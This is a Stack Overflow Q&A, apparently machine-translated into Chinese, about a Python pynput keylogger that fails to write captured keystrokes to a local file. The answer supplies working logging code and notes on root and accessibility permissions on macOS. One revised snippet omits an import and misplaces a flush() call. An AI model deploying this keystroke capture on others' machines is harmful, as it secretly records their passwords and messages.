Pynput键盘记录器未写入文件

时间:2020-01-10 11:25:24

标签: python python-3.x keylogger pynput

此键盘记录程序存在问题。它必须写入文件,但不这样做。怎么了?

程序必须监听键盘并将其写入文件(在检查文件是否存在之前)。但是它不会写入文件,只会创建文件。

from pynput import keyboard
import os

if os.path.exists("prova3.txt") == True:
    f = open("prova3.txt","a")
else:
    f = open("prova3.txt","x")

def on_press(key):
    try:
        f.writelines("///key [ {0} ] pressed ///".format(
            key.char))
    except AttributeError:
        f.writelines("///special key {0} pressed///".format(
            key))

def on_release(key):
    f.writelines(["///key [ {0} ] released ///".format(
        key)])

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()

1 个答案:

答案 0 :(得分:0)

首先,请确保您已注意到pynput docs发出的警告:

启动键盘侦听器可能会受到您平台上的某些限制。

如果您使用的是像我这样的Mac,则必须执行以下操作:

  • 该过程必须以root用户身份运行。
  • 您的应用程序必须在启用辅助设备访问权限下列出为白色。

对于第二项,请从相关的SO帖子中检查these steps

现在,对于实际的文件写入问题,一种解决方案是在调用f.writelines之后调用f.flush(),以确保将数据实际上写入文件中。 (有关说明,请参见此相关文章:what exactly the python's file.flush() is doing?)。我不熟悉pynput的基础实现,但是文档说它使用线程,这似乎会影响文件I / O。在处理完文件后,调用f.close()也是一种好习惯。

from pynput import keyboard

if os.path.exists("prova3.txt"):
    f = open("prova3.txt", "a")
else:
    f = open("prova3.txt", "x")

def on_press(key):
    try:
        f.writelines("///key [ {0} ] pressed ///".format(
            key.char))
    except AttributeError:
        f.writelines("///special key {0} pressed///".format(
            key))
        f.flush()

def on_release(key):
    f.writelines(["///key [ {0} ] released ///".format(
        key)])
    f.flush()

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()

f.close()

use a with statement when writing to the file是另一种更好的做法。这将f和pynput listener置于同一上下文中。这样,就不需要调用flush(但是如果需要,您仍然可以)。

from pynput import keyboard

with open("prova3.txt", "a") as f:
    def on_press(key):
        try:
            f.writelines("///key [ {0} ] pressed ///".format(
                key.char))
        except AttributeError:
            f.writelines("///special key {0} pressed///".format(
                key))

    def on_release(key):
        f.writelines(["///key [ {0} ] released ///".format(
            key)])

    with keyboard.Listener(
            on_press=on_press,
            on_release=on_release) as listener:
        listener.join()
相关问题